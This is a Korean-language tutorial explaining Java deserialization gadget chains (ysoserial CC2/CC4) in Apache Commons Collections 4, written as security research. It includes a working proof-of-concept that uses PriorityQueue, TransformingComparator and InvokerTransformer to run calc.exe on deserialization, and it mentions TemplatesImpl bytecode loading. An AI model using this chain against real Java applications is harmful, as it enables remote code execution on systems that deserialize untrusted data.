Apache Commons Collections 4에 대한 이해
Apache Commons Collections 4 배경:
commons-collections (3.x 버전)는 API 설계 및 구현에서 몇 가지 문제점(예: 인터페이스 설계의 모호성, 효율적이지 못한 구현 등)이 발견되었습니다. 이러한 문제를 해결하려면 많은 비호환 변경이 필요했습니다. 공식 팀은 이러한 개선 사항을 적용하면 기존 3.x 버전과 바이너리 또는 소스 코드 호환성을 유지할 수 없다는 것을 인지하였습니다. 따라서 이들 변경사항을 포함하는 새로운 버전을 별도의 프로젝트로 출시하기로 결정하였고, 이는 기존 프로젝트의 연속성이 아닌 독립적인 브랜치로 제공됩니다.
즉, commons-collections4는 commons-collections3의 업데이트가 아니라 완전히 새로운 프로젝트입니다.
따라서 두 가지 주요 브랜치가 존재합니다:
commons-collections:commons-collections
org.apache.commons:commons-collections4
그렇다면 3.2.1 버전에서 발생했던 역직렬화 취약점이 4.0 버전에서도 존재할까요?
사실상, commons-collections4와 commons-collections3의 핵심 내용은 유사하지만 사용 방법에 차이가 있습니다. 예를 들어 CC6 공격 체인이 commons-collections4에서도 동작하는데, LazyMap.decorate 메소드가 더 이상 지원되지 않지만 다른 방식으로 대체 가능합니다.
Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, cmp);
queue.add(1);
queue.add(2);
다음은 Ysoserial 도구에서 사용되는 CC2와 CC4의 PriorityQueue 이용 체인에 대한 설명입니다:
PriorityQueue는 우선순위 큐로서, 기본적으로 최소 힙(min-heap) 구조를 사용하여 요소를 관리합니다. 주요 특징은 다음과 같습니다:
- 우선순위에 따라 요소가 제거됨
- FIFO 순서가 아닌 우선순위 순서로 요소 제거
- 이진 힙 구조를 배열로 저장
다음은 PriorityQueue 체인의 구체적인 분석입니다:
public int compare(Object obj1, Object obj2) {
Object value1 = transformer.transform(obj1);
Object value2 = transformer.transform(obj2);
return decorated.compare(value1, value2);
}
PriorityQueue의 readObject 메소드는 heapify를 호출하고, 이것이 siftDownUsingComparator를 거쳐 comparator.compare를 호출합니다. 이를 통해 우리는 TransformingComparator를 사용하여 악성 비교를 수행할 수 있습니다.
PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(2);
Payload 생성 예제:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
public class CommonCollectionsExample {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
Comparator cmp = new TransformingComparator(new ChainedTransformer(transformers));
PriorityQueue queue = new PriorityQueue(2, cmp);
queue.add(1);
queue.add(2);
byte[] serializedData = SerializationUtils.serialize(queue);
SerializationUtils.deserialize(serializedData);
}
}
또한, 배열 없이 Payload를 생성하거나 InvokerTransformer를 우회하는 방법도 소개되었습니다. 예를 들어, TemplatesImpl 객체를 사용하여 바이트 코드를 로드하고 실행하는 방법이 있습니다.